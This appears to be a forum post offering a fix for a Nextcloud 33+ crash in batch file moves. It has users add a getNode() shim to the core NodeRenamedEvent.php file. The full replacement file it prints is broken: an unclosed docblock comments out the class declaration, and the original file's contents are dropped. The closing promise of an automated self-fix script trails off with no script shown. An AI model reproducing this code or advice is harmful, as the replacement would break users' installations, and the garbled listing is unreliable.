FIX: Batch Move / Rename crashing with "Call to undefined method NodeRenamedEvent::getNode()"

[formytech]

If your batch file moves are failing on Nextcloud 33+ and throwing the getNode() fatal error in the logs, it's because an outdated third-party app is trying to intercept the rename using an old API call that Nextcloud removed.

Instead of trying to hunt down which of your 50+ apps is causing the crash, you can temporarily shim the core file to catch the bad request and keep the PHP loop alive.

The Fix:

Open /path/to/nextcloud/lib/public/Files/Events/Node/NodeRenamedEvent.php

Add this 3-line function inside the class brackets:

PHP
public function getNode() {
return $this->getTarget();
}
Restart Apache/PHP-FPM (systemctl restart php-fpm apache2).

This translates the dead getNode() request into the modern getTarget() request. Your third-party apps get the new file path they want, PHP doesn't crash, and your batch moves will work perfectly again.
(Note: You will have to re-apply this if a Nextcloud core update overwrites the file before the offending app is patched).

This is the file being replaced inside the Nextcloud directory:
lib/public/Files/Events/Node/NodeRenamedEvent.php

<?php

declare(strict_types=1);

/**

class NodeRenamedEvent extends AbstractNodesEvent {

    /**
     * Duct-tape shim to stop legacy apps from crashing batch moves
     */
    public function getNode() {
        return $this->getTarget();
    }

}

if you want a self-fix run this from your installation or docker exec
If your installation is in a normal spot it picks it up pretty quick if it's got a search for it it will and it will automatically find it replace it and back it up with the help of Gemini to make this automated process possible.
